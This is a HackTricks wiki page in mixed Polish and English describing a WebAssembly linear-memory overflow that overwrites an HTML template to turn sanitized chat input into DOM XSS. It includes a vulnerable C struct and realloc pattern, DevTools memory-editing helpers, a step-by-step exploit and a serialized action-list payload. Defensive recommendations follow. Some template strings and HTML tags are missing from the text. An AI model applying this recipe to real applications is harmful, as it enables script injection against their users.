%.*s
WebAssembly linear memory corruption to DOM XSS (template overwrite)
Reading time: 8 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Ta technika pokazuje, jak błąd korupcji pamięci w module WebAssembly (WASM) skompilowanym za pomocą Emscripten można wykorzystać do niezawodnego DOM XSS, nawet gdy wejście jest zsanitowane. Pivot polega na uszkodzeniu zapisywalnych stałych w WASM linear memory (np. HTML format templates) zamiast atakować zsanitowany string źródłowy.
Key idea: W modelu WebAssembly kod znajduje się w nie-zapisywalnych stronach wykonywalnych, natomiast dane modułu (heap/stack/globals/"constants") mieszczą się w jednej płaskiej linear memory (strony po 64KB), która jest zapisywalna przez moduł. Jeśli błędny kod C/C++ zapisze poza granicami, można nadpisać sąsiednie obiekty, a nawet stałe łańcuchy osadzone w linear memory. Gdy taka stała zostanie później użyta do budowy HTML do wstawienia przez DOM sink, zsanitowane wejście można przekształcić w wykonywalny JavaScript.
Threat model and preconditions
- Web app uses Emscripten glue (Module.cwrap) to call into a WASM module.
- Stan aplikacji znajduje się w WASM linear memory (np. C structs z pointers/lengths do user buffers).
- Input sanitizer koduje metaznaki przed zapisaniem, ale późniejsze renderowanie buduje HTML używając format string przechowywanego w WASM linear memory.
- Istnieje prymityw korupcji linear-memory (np. heap overflow, UAF, lub unchecked memcpy).
Minimal vulnerable data model (example)
typedef struct msg {
char *msg_data; // pointer to message bytes
size_t msg_data_len; // length after sanitization
int msg_time; // timestamp
int msg_status; // flags
} msg;
typedef struct stuff {
msg *mess; // dynamic array of msg
size_t size; // used
size_t capacity; // allocated
} stuff; // global chat state in linear memory
Wzorzec podatnej logiki
- addMsg(): alokuje nowy bufor o rozmiarze dopasowanym do oczyszczonego wejścia i dopisuje msg do s.mess, podwajając pojemność za pomocą realloc w razie potrzeby.
- editMsg(): ponownie oczyszcza i za pomocą memcpy kopiuje nowe bajty do istniejącego bufora, nie zapewniając, że nowa długość ≤ starego przydziału → intra‑linear‑memory heap overflow.
- populateMsgHTML(): formatuje oczyszczony tekst z wbudowanym stubem takim jak "
" znajdującym się w linear memory. Zwrócone HTML trafia do DOM sink (np. innerHTML).
Allocator grooming with realloc()
int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
- Wyślij wystarczająco dużo wiadomości, aby przekroczyć początkową pojemność. Po rozszerzeniu, realloc() często umieszcza s->mess bezpośrednio po ostatnim buforze użytkownika w pamięci liniowej.
- Przepełnij ostatnią wiadomość za pomocą editMsg(), aby nadpisać pola wewnątrz s->mess (np. nadpisać wskaźniki msg_data) → dowolne nadpisanie wskaźników w pamięci liniowej dla danych, które zostaną później wyrenderowane.
Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
- Oczyszczanie danych (sanitization) chroni wejście, nie sinki. Znajdź format stub używany przez populateMsgHTML(), np.:
- "
" → change to "%.*s
"
- Zlokalizuj stub deterministycznie przez skanowanie pamięci liniowej; jest to zwykły ciąg bajtów wewnątrz Module.HEAPU8.
- Po nadpisaniu stuba, oczyszczona zawartość wiadomości staje się handlerem JavaScript dla onerror, więc dodanie nowej wiadomości z tekstem takim jak alert(1337) daje
i wykonuje się natychmiast w DOM.
Chrome DevTools workflow (Emscripten glue)
- Ustaw breakpoint na pierwszym wywołaniu Module.cwrap w JS glue i wejdź do miejsca wywołania wasm, aby przechwycić argumenty wskaźnikowe (numeryczne offsety w pamięci liniowej).
- Używaj typowanych widoków takich jak Module.HEAPU8 do odczytu/zapisu pamięci WASM z konsoli.
- Helper snippets:
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i<byteArray.length;i++){
const byte = byteArray[i];
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i<mem.length-pat.length;i++){
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
if(ok) console.log(`Found "${str}" at memory address:`, i);
}
console.log(`"${str}" not found in memory`);
return -1;
}
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
Pełny przepis na eksploatację end-to-end
- Przygotowanie: dodaj N małych wiadomości, aby wywołać realloc(). Upewnij się, że s->mess znajduje się obok bufora użytkownika.
- Przepełnienie: wywołaj editMsg() na ostatniej wiadomości z dłuższym ładunkiem, aby nadpisać wpis w s->mess, ustawiając msg_data wiadomości 0 tak, aby wskazywał na (stub_addr + 1). +1 pomija wiodący '<', aby zachować wyrównanie tagu podczas następnej edycji.
- Przepisywanie szablonu: edytuj wiadomość 0 tak, aby jej bajty nadpisały szablon następującym ciągiem: "img src=1 onerror=%.*s ".
- Wywołaj XSS: dodaj nową wiadomość, której oczyszczona zawartość to JavaScript, np. alert(1337). Renderowanie emituje
i wykonuje kod.
Przykładowa lista akcji do serializacji i umieszczenia w ?s= (zakoduj w Base64 przy użyciu btoa przed użyciem)
[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]
Dlaczego ten bypass działa
- WASM zapobiega wykonywaniu kodu z linear memory, ale stałe dane wewnątrz linear memory są zapisywalne, jeśli logika programu jest błędna.
- Mechanizm sanitizujący chroni tylko source string; przez uszkodzenie sinka (the HTML template), oczyszczone dane stają się wartością JS handler i wykonują się po wstawieniu do DOM.
- realloc()-driven adjacency plus unchecked memcpy w ścieżkach edycji umożliwia korupcję wskaźników, by przekierować zapisy na adresy wybrane przez atakującego wewnątrz linear memory.
Uogólnienie i inne powierzchnie ataku
- Każdy in-memory HTML template, JSON skeleton lub URL pattern osadzony w linear memory może być celem, aby zmienić sposób, w jaki sanitized data jest interpretowane downstream.
- Inne powszechne pułapki WASM: out-of-bounds writes/reads w linear memory, UAF na heap objects, function-table misuse z unchecked indirect call indices, oraz JS↔WASM glue mismatches.
Zalecenia obronne
- W ścieżkach edycji weryfikuj new length ≤ capacity; zmieniaj rozmiar buforów przed kopiowaniem (realloc to new_len) lub używaj API ograniczających rozmiar (snprintf/strlcpy) i śledź capacity.
- Trzymaj immutable templates poza zapisywalnym linear memory lub sprawdzaj ich integralność przed użyciem.
- Traktuj granice JS↔WASM jako nieufne: validate pointer ranges/lengths, fuzz exported interfaces, i ogranicz memory growth.
- Sanityzuj przy sinku: unikaj budowania HTML w WASM; preferuj bezpieczne DOM APIs zamiast innerHTML-style templating.
- Nie ufaj URL-embedded state w uprzywilejowanych przepływach.
References
- Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox
- V8: Wasm Compilation Pipeline
- V8: Liftoff (baseline compiler)
- Debugging WebAssembly in Chrome DevTools (YouTube)
- SSD: Intro to Chrome exploitation (WASM edition)
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.